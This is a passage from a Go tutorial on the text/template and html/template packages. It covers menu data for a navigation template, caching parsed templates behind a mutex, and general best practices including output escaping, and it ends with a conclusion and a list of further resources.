Items: []MenuItem{
{
Label: "Home",
URL: "/",
Active: currentPath == "/",
},
{
Label: "Products",
URL: "/products",
Active: currentPath == "/products" || strings.HasPrefix(currentPath, "/products/"),
Children: []MenuItem{
{
Label: "Electronics",
URL: "/products/electronics",
Active: currentPath == "/products/electronics",
},
{
Label: "Clothing",
URL: "/products/clothing",
Active: currentPath == "/products/clothing",
},
{
Label: "Home & Kitchen",
URL: "/products/home-kitchen",
Active: currentPath == "/products/home-kitchen",
},
},
},
{
Label: "Services",
URL: "/services",
Active: currentPath == "/services",
},
{
Label: "About",
URL: "/about",
Active: currentPath == "/about",
},
{
Label: "Contact",
URL: "/contact",
Active: currentPath == "/contact",
},
},
}
// Parse and execute the template
tmpl := template.Must(template.New("navigation").Parse(navigationTemplate))
tmpl.Execute(w, nav)
}Template Performance and Best Practices
Performance Optimization
Templates should be parsed once and reused for better performance:
package main
import (
"html/template"
"log"
"net/http"
"sync"
)
// Template cache with mutex for thread safety
var (
templateCache = make(map[string]*template.Template)
templateMutex sync.RWMutex
)
// Load or retrieve template from cache
func getTemplate(name string, files ...string) (*template.Template, error) {
// First, try to get from cache using read lock
templateMutex.RLock()
tmpl, exists := templateCache[name]
templateMutex.RUnlock()
if exists {
return tmpl, nil
}
// Not in cache, parse and cache it using write lock
tmpl, err := template.New(name).ParseFiles(files...)
if err != nil {
return nil, err
}
templateMutex.Lock()
templateCache[name] = tmpl
templateMutex.Unlock()
return tmpl, nil
}
// Benchmark comparison
func benchmark() {
// Approach 1: Parse every time (slow)
http.HandleFunc("/slow", func(w http.ResponseWriter, r *http.Request) {
tmpl, err := template.ParseFiles("templates/page.tmpl")
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
data := struct {
Title string
Items []string
}{
Title: "My Page",
Items: []string{"Item 1", "Item 2", "Item 3"},
}
tmpl.Execute(w, data)
})
// Approach 2: Parse once and reuse (fast)
var cachedTemplate = template.Must(template.ParseFiles("templates/page.tmpl"))
http.HandleFunc("/fast", func(w http.ResponseWriter, r *http.Request) {
data := struct {
Title string
Items []string
}{
Title: "My Page",
Items: []string{"Item 1", "Item 2", "Item 3"},
}
cachedTemplate.Execute(w, data)
})
}Template Best Practices
-
Organize templates logically:
- Use a directory structure that reflects your application’s architecture
- Separate layouts, pages, and reusable components
-
Use consistent naming conventions:
- Use descriptive names for templates and template files
- Create a naming pattern for different template types
-
Avoid logic in templates:
- Keep complex logic in your Go code
- Use custom functions for simple transformations
- Prepare data structures before passing them to templates
-
Handle errors properly:
- Check for parsing and execution errors
- Provide meaningful error messages
- Have fallback templates for error cases
-
Optimize template execution:
- Parse templates once at startup
- Cache parsed templates
- Use appropriate buffer sizes for output
-
Security considerations:
- Always use
html/templatefor web content - Be careful with
template.HTMLand other unescaped types - Validate and sanitize user input before using it in templates
- Always use
-
Testing templates:
- Write tests for complex templates
- Test with both valid and invalid data
- Verify the output matches expected HTML/text
Conclusion
Go’s templating system provides a powerful way to separate your application logic from presentation. By using the techniques and patterns in this course, you can create maintainable, secure, and efficient templates for your Go applications.
The text/template and html/template packages might seem simple at first, but they offer sophisticated features like context-aware escaping, template composition, and powerful control structures that make them suitable for a wide range of applications, from simple CLI tools to complex web applications.
As you continue to work with Go templates, you’ll discover more patterns and techniques to solve specific problems. The built-in documentation, community resources, and examples will help you master this essential part of Go programming.
Further Resources
-
Official Documentation:
-
Books:
- “Go Web Programming” by Sau Sheong Chang
- “Web Development with Go” by Shiju Varghese
-
Community Resources:
-
Sample Projects: